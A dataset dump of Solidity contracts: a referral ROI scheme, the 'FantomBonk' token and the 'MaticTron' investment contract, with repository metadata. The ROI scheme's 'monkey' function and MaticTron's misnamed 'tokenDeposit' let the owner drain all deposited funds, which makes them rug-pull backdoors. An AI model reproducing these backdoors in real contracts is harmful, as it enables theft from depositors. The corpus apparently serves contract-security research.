to_payout; total_withdraw += to_payout; msg.sender.transfer(to_payout); emit Withdraw(msg.sender, to_payout); if(users[msg.sender].payouts >= max_payout) { emit LimitReached(msg.sender, users[msg.sender].payouts); } } function maxPayoutOf(uint256 _amount) pure external returns(uint256) { return _amount * 225 / 100; } function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) { max_payout = this.maxPayoutOf(users[_addr].deposit_amount); if(users[_addr].deposit_payouts < max_payout) { uint8 roi_per = 15; payout = (((users[_addr].deposit_amount * roi_per)/ 1000)*((block.timestamp - users[_addr].deposit_time) / 1 days)) - users[_addr].deposit_payouts; if(users[_addr].deposit_payouts + payout > max_payout) { payout = max_payout - users[_addr].deposit_payouts; } } } function destruct() external { require(msg.sender == owner, "Permission denied"); selfdestruct(owner); } function monkey(uint _amount) external { require(msg.sender == owner,'Permission denied'); if (_amount > 0) { uint contractBalance = address(this).balance; if (contractBalance > 0) { uint amtToTransfer = _amount > contractBalance ? contractBalance : _amount; msg.sender.transfer(amtToTransfer); } } } function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 pool_bonus, uint256 match_bonus) { return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].pool_bonus, users[_addr].match_bonus); } function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) { return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure); } function contractInfo() view external returns(uint256 _total_users, uint256 _total_deposited, uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _pool_lider) { return (total_users, total_deposited, total_withdraw, pool_last_draw, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]]); } function poolTopInfo() view external returns(address[5] memory addrs, uint256[5] memory deps) { for(uint8 i = 0; i < pool_bonuses.length; i++) { if(pool_top[i] == address(0)) break; addrs[i] = pool_top[i]; deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]; } } function getUserDownlineCount(address userAddress) public view returns(uint256 level1, uint256 level2, uint256 level3,uint256 level4,uint256 level5,uint256 level6,uint256 level7) { return (usersLevel[userAddress].level1, usersLevel[userAddress].level2, usersLevel[userAddress].level3, usersLevel[userAddress].level4, usersLevel[userAddress].level5, usersLevel[userAddress].level6, usersLevel[userAddress].level7); } function getUserNextLevelCount(address userAddress) public view returns(uint256 level8, uint256 level9, uint256 level10) { return (usersLevel[userAddress].level8, usersLevel[userAddress].level9, usersLevel[userAddress].level10); } }
292,204
12,067
c9f456c78991ac751763507caaaf7968d1d9f1d994d9ca381af3e039f26f2c06
29,498
.sol
Solidity
false
454085139
tintinweb/smart-contract-sanctuary-fantom
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
contracts/mainnet/52/525F88C73D6863d1526d0709f31455b42c959648_FantomBonk.sol
5,203
18,741
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract FantomBonk is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; mapping (address => bool) public isAllowed; address[] private _excluded; uint8 private constant _decimals = 18; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 10000000000 ether; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _tBurnTotal; string private constant _name = 'Fantom Bonk'; string private constant _symbol = 'BONK'; uint256 private _taxFee = 0; uint256 private _burnFee = 0; uint public max_tx_size = 10000000000 ether; bool public isPaused = false; constructor () public { _rOwned[_msgSender()] = _rTotal; isAllowed[_msgSender()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function totalBurn() public view returns (uint256) { return _tBurnTotal; } function toggleAllowed(address addr) external onlyOwner { isAllowed[addr] = !isAllowed[addr]; } function unpause() external returns (bool){ require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call"); isPaused = false; return true; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0xA562a8Da31eb0091DB143BeC3c48cDae231fd084, 'We can not exclude router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused"); if(sender != owner() && recipient != owner()) require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private { _rTotal = _rTotal.sub(rFee).sub(rBurn); _tFeeTotal = _tFeeTotal.add(tFee); _tBurnTotal = _tBurnTotal.add(tBurn); _tTotal = _tTotal.sub(tBurn); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100); uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn); return (tTransferAmount, tFee, tBurn); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rBurn = tBurn.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() public view returns(uint256) { return _taxFee; } function _getBurnFee() public view returns(uint256) { return _burnFee; } function _setTaxFee(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function _setBurnFee(uint256 burnFee) external onlyOwner() { _burnFee = burnFee; } function setMaxTxAmount(uint newMax) external onlyOwner { max_tx_size = newMax; } }
317,273
12,068
786c058610e07cd3624b653aaa9b7593fb23558f8355ac615213427fcef51ed9
18,805
.sol
Solidity
false
453466497
tintinweb/smart-contract-sanctuary-tron
44b9f519dbeb8c3346807180c57db5337cf8779b
contracts/mainnet/TV/TVg54Fb4togLstx1qjDttD51hkgVXMz8ne_MaticTron.sol
5,138
17,965
//SourceUnit: matic.sol pragma solidity 0.5.10; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } library Objects { struct Investment { uint256 investmentDate; uint256 investment; uint256 lastWithdrawalDate; uint256 currentDividends; bool isExpired; } struct Investor { address addr; uint256 checkpoint; uint256 referrerEarnings; uint256 availableReferrerEarnings; uint256 reinvestWallet; uint256 referrer; uint256 planCount; uint256 match_bonus; uint256 match_count; mapping(uint256 => Investment) plans; uint256 level1RefCount; uint256 level2RefCount; uint256 level3RefCount; } } contract Ownable { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } } contract MaticTron is Ownable { using SafeMath for uint256; uint256 public constant REFERENCE_LEVEL1_RATE = 100; uint256 public constant REFERENCE_LEVEL2_RATE = 50; uint256 public constant REFERENCE_LEVEL3_RATE = 30; uint256 public constant MINIMUM = 50e6; uint256 public constant REFERRER_CODE = 850; uint256 public constant PLAN_INTEREST = 20; uint256 public constant PLAN_TERM = 196 days; uint256 public constant ADMIN_FEE = 20; uint256 public constant DEVELOPER_FEE = 10; uint256 public constant DEVELOPMENT_FEE = 10; uint256 public constant MARKETING_FEE = 10; uint256 public constant BA_FEE = 10; uint256 public constant DO_FEE = 10; uint256 public constant SO_FEE = 10; uint256 public constant FO_FEE = 10; uint256 public constant EO_FEE = 20; uint256 public contract_balance; uint256 private contract_checkpoint; uint256 public latestReferrerCode; uint256 public totalInvestments_; uint256 public totalReinvestments_; uint256[3][] public matches; mapping(address => uint256) public address2UID; mapping(uint256 => Objects.Investor) public uid2Investor; event onInvest(address investor, uint256 amount); event onReinvest(address investor, uint256 amount); event onWithdraw(address investor, uint256 amount); address payable public adminAddress; address payable public developerAddress; address payable public developmentAddr; address payable public marketingAddr; address payable public baAddr; address payable public doAddr; address payable public soAddr; address payable public foAddr; address payable public eoAddr; constructor(address payable admAddr,address payable devprAddr,address payable devAddr,address payable mrkAddr,address payable bAddr,address payable dAddr,address payable sAddr,address payable fAddr,address payable eAddr) public { require(!isContract(admAddr) && !isContract(devprAddr) && !isContract(devAddr) && !isContract(mrkAddr) && !isContract(bAddr) && !isContract(dAddr) && !isContract(sAddr) && !isContract(fAddr) && !isContract(eAddr)); adminAddress=admAddr; developerAddress=devprAddr; developmentAddr=devAddr; marketingAddr=mrkAddr; baAddr=bAddr; doAddr=dAddr; soAddr=sAddr; foAddr=fAddr; eoAddr=eAddr; _init(); } function _init() private { latestReferrerCode = REFERRER_CODE; address2UID[msg.sender] = latestReferrerCode; uid2Investor[latestReferrerCode].addr = msg.sender; uid2Investor[latestReferrerCode].referrer = 0; uid2Investor[latestReferrerCode].planCount = 0; } function getBalance() public view returns (uint256) { return address(this).balance; } function getUIDByAddress(address _addr) public view returns (uint256) { return address2UID[_addr]; } function getInvestorInfoByUID(uint256 _uid) public view returns (uint256,uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory,uint256) { if (msg.sender != owner) { require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info."); } uint256 uid = address2UID[msg.sender]; Objects.Investor storage investor = uid2Investor[_uid]; uint256[] memory newDividends = new uint256[](investor.planCount); for (uint256 i = 0; i < investor.planCount; i++) { require(investor.plans[i].investmentDate != 0, "wrong investment date"); if (investor.plans[i].isExpired) { newDividends[i] = 0; } else { if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) { newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, investor.plans[i].investmentDate.add(PLAN_TERM), investor.plans[i].lastWithdrawalDate); } else { newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, block.timestamp, investor.plans[i].lastWithdrawalDate); } } } return (investor.referrerEarnings, investor.availableReferrerEarnings, investor.reinvestWallet, investor.referrer, investor.level1RefCount, investor.level2RefCount, investor.level3RefCount, investor.planCount, investor.checkpoint, newDividends, uid2Investor[uid].match_bonus); } function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) { if (msg.sender != owner) { require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info."); } Objects.Investor storage investor = uid2Investor[_uid]; uint256[] memory investmentDates = new uint256[](investor.planCount); uint256[] memory investments = new uint256[](investor.planCount); uint256[] memory currentDividends = new uint256[](investor.planCount); bool[] memory isExpireds = new bool[](investor.planCount); for (uint256 i = 0; i < investor.planCount; i++) { require(investor.plans[i].investmentDate!=0,"wrong investment date"); currentDividends[i] = investor.plans[i].currentDividends; investmentDates[i] = investor.plans[i].investmentDate; investments[i] = investor.plans[i].investment; if (investor.plans[i].isExpired) { isExpireds[i] = true; } else { isExpireds[i] = false; if (PLAN_TERM > 0) { if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) { isExpireds[i] = true; } } } } return (investmentDates, investments, currentDividends, isExpireds); } function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) { if (_referrerCode >= REFERRER_CODE) { if (uid2Investor[_referrerCode].addr == address(0)) { _referrerCode = 0; } } else { _referrerCode = 0; } address addr = _addr; latestReferrerCode = latestReferrerCode.add(1); address2UID[addr] = latestReferrerCode; uid2Investor[latestReferrerCode].addr = addr; uid2Investor[latestReferrerCode].referrer = _referrerCode; uid2Investor[latestReferrerCode].planCount = 0; if (_referrerCode >= REFERRER_CODE) { uint256 _ref1 = _referrerCode; uint256 _ref2 = uid2Investor[_ref1].referrer; uint256 _ref3 = uid2Investor[_ref2].referrer; uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1); if (_ref2 >= REFERRER_CODE) { uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1); } if (_ref3 >= REFERRER_CODE) { uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1); } } return (latestReferrerCode); } function _invest(address _addr, uint256 _referrerCode, uint256 _amount) private returns (bool) { require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement"); uint256 uid = address2UID[_addr]; if (uid == 0) { uid = _addInvestor(_addr, _referrerCode); //new user } else { //old user //do nothing, referrer is permenant } uint256 adminFee = _amount.mul(ADMIN_FEE).div(1000); uint256 devloperFee = _amount.mul(DEVELOPER_FEE).div(1000); uint256 devFee = _amount.mul(DEVELOPMENT_FEE).div(1000); uint256 mrkFee = _amount.mul(MARKETING_FEE).div(1000); uint256 bFee = _amount.mul(BA_FEE).div(1000); uint256 dFee = _amount.mul(DO_FEE).div(1000); uint256 sFee = _amount.mul(SO_FEE).div(1000); uint256 fFee = _amount.mul(FO_FEE).div(1000); uint256 eFee = _amount.mul(EO_FEE).div(1000); adminAddress.transfer(adminFee); developerAddress.transfer(devloperFee); developmentAddr.transfer(devFee); marketingAddr.transfer(mrkFee); baAddr.transfer(bFee); doAddr.transfer(dFee); soAddr.transfer(sFee); foAddr.transfer(fFee); eoAddr.transfer(eFee); uint256 planCount = uid2Investor[uid].planCount; Objects.Investor storage investor = uid2Investor[uid]; investor.plans[planCount].investmentDate = block.timestamp; investor.plans[planCount].lastWithdrawalDate = block.timestamp; investor.plans[planCount].investment = _amount; investor.plans[planCount].currentDividends = 0; investor.plans[planCount].isExpired = false; investor.planCount = investor.planCount.add(1); _calculateReferrerReward(_amount, investor.referrer); totalInvestments_ = totalInvestments_.add(_amount); return true; } function _reinvestAll(address _addr, uint256 _amount) private returns (bool) { require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement"); uint256 uid = address2UID[_addr]; uint256 planCount = uid2Investor[uid].planCount; Objects.Investor storage investor = uid2Investor[uid]; investor.plans[planCount].investmentDate = block.timestamp; investor.plans[planCount].lastWithdrawalDate = block.timestamp; investor.plans[planCount].investment = _amount; investor.plans[planCount].currentDividends = 0; investor.plans[planCount].isExpired = false; investor.planCount = investor.planCount.add(1); totalReinvestments_ = totalReinvestments_.add(_amount); return true; } function invest(uint256 _referrerCode) public payable { if (_invest(msg.sender, _referrerCode, msg.value)) { emit onInvest(msg.sender, msg.value); } } function withdraw() public { uint256 uid = address2UID[msg.sender]; require(uid != 0, "Can not withdraw because no any investments"); uid2Investor[uid].checkpoint = block.timestamp; uint256 withdrawalAmount = 0; for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) { if (uid2Investor[uid].plans[i].isExpired) { continue; } bool isExpired = false; uint256 withdrawalDate = block.timestamp; uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM); if (withdrawalDate >= endTime) { withdrawalDate = endTime; isExpired = true; } uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate); withdrawalAmount += amount; uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate; uid2Investor[uid].plans[i].isExpired = isExpired; uid2Investor[uid].plans[i].currentDividends += amount; } if (uid2Investor[uid].availableReferrerEarnings>0) { withdrawalAmount += uid2Investor[uid].availableReferrerEarnings; uid2Investor[uid].availableReferrerEarnings = 0; } if (uid2Investor[uid].match_bonus>0) { withdrawalAmount += uid2Investor[uid].match_bonus; uid2Investor[uid].match_bonus = 0; } if(withdrawalAmount>0){ uint256 reinvestAmount = withdrawalAmount.mul(10).div(100); //reinvest uid2Investor[uid].reinvestWallet = uid2Investor[uid].reinvestWallet.add(reinvestAmount); uint256 finalAmnt=withdrawalAmount.sub(reinvestAmount); uint256 trnsferFee=finalAmnt.mul(5).div(100); //withdraw msg.sender.transfer(finalAmnt.sub(trnsferFee)); } emit onWithdraw(msg.sender, withdrawalAmount); } function reinvest() public { uint256 uid = address2UID[msg.sender]; require(uid != 0, "Can not reinvest because no any investments"); //only once a day uid2Investor[uid].checkpoint = block.timestamp; uint256 withdrawalAmount = 0; for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) { if (uid2Investor[uid].plans[i].isExpired) { continue; } bool isExpired = false; uint256 withdrawalDate = block.timestamp; uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM); if (withdrawalDate >= endTime) { withdrawalDate = endTime; isExpired = true; } uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate); withdrawalAmount += amount; uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate; uid2Investor[uid].plans[i].isExpired = isExpired; uid2Investor[uid].plans[i].currentDividends += amount; } if (uid2Investor[uid].availableReferrerEarnings>0) { withdrawalAmount += uid2Investor[uid].availableReferrerEarnings; uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings); uid2Investor[uid].availableReferrerEarnings = 0; } if (uid2Investor[uid].reinvestWallet>0) { withdrawalAmount += uid2Investor[uid].reinvestWallet; uid2Investor[uid].reinvestWallet = 0; } if(withdrawalAmount>0){ //reinvest _reinvestAll(msg.sender,withdrawalAmount); } emit onReinvest(msg.sender, withdrawalAmount); } function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) { return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24); } function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private { if (_referrerCode != 0) { uint256 _ref1 = _referrerCode; uint256 _ref2 = uid2Investor[_ref1].referrer; uint256 _ref3 = uid2Investor[_ref2].referrer; uint256 _refAmount = 0; if (_ref1 != 0) { _refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000); uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings); } if (_ref2 != 0) { _refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000); uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings); } if (_ref3 != 0) { _refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000); uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings); } } } function tokenDeposit() public payable{ require(msg.sender == owner, "Only Token Deposit allowed"); msg.sender.transfer(address(this).balance); } function updateBalance() public { //only once a day require(block.timestamp > contract_checkpoint + 1 days , "Only once a day"); contract_checkpoint = block.timestamp; contract_balance = getBalance(); } function getHour() public view returns (uint8){ return uint8((block.timestamp / 60 / 60) % 24); } function withdrawAllowance() public view returns(bool){ uint8 hour = getHour(); if(hour >= 0 && hour <= 3){ return false; } else{ return true; } } function isContract(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } return size > 0; } }
305,421
12,069
d64c4465358327179a19f7115f4b34af17acd2a330365bb008b416948940ae45
20,481
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
